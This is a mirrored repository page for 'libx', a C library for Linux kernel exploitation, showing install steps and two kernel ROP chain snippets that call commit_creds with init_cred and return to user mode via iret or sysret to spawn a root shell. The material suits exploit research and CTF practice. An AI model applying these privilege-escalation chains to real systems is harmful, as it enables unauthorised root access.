libx

KO | EN

gitlite — search

#javascript #python #react #llm #android #java #nodejs #windows #awesome #cli #kubernetes #awesome-list #ios #open-source

(★ 20)

A Linux Kernel Exploitation C Library

libx Latest Version Download

Download Latest Version (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# libx

It's a personal c language library for kernel exploits.

# Dependencies

```sh
# If you use fuse
sudo apt install fuse libfuse-dev libkeyutils-dev
```

# Usage

Install `libx`
```bash
git clone git@github.com:n132/libx.git
cd libx
make && sudo make install
```

uninstall `libx`

```bash
make clean
make uninstall
```
# musl (optional)
```bash
make musl && sudo make install-musl
```
# Example

```c
//gcc main.c -o ./main -lx -w
#include <libx.h>
int main(){
    libxInit();
}
```

# KROP

In kernel ROP, we usually return to user land by `iret` or `sysret`.

## iret
```c
    p[idx++]  = rdi;
    p[idx++]  = init_cred                   - NO_ASLR_BASE + base;
    p[idx++]  = commit_creds                - NO_ASLR_BASE + base;
    p[idx++]  = swapgs_restore_regs_and_return_to_usermode + 103 - NO_ASLR_BASE + base;
    p[idx++]  = *(size_t*) "RDI";
    p[idx++]  = *(size_t*) "RAX";
    p[idx++]  = shell;
    p[idx++]  = user_cs;
    p[idx++]  = user_rflags;
    p[idx++]  = user_sp|8;
    p[idx++]  = user_ss;
```
## sysret
```c
    p[idx++]  = rdi;
    p[idx++]  = init_cred                   - NO_ASLR_BASE + base;
    p[idx++]  = commit_creds                - NO_ASLR_BASE + base;
    p[idx++]  = r11;
    p[idx++]  = user_rflags;
    p[idx++]  = rcx;
    p[idx++]  = shell;
    p[idx++]  = sysret; // pop rsp; swapgs; sysret
    p[idx++]  = user_sp|8;
```

libx

libx Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

libx

libx Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

Download README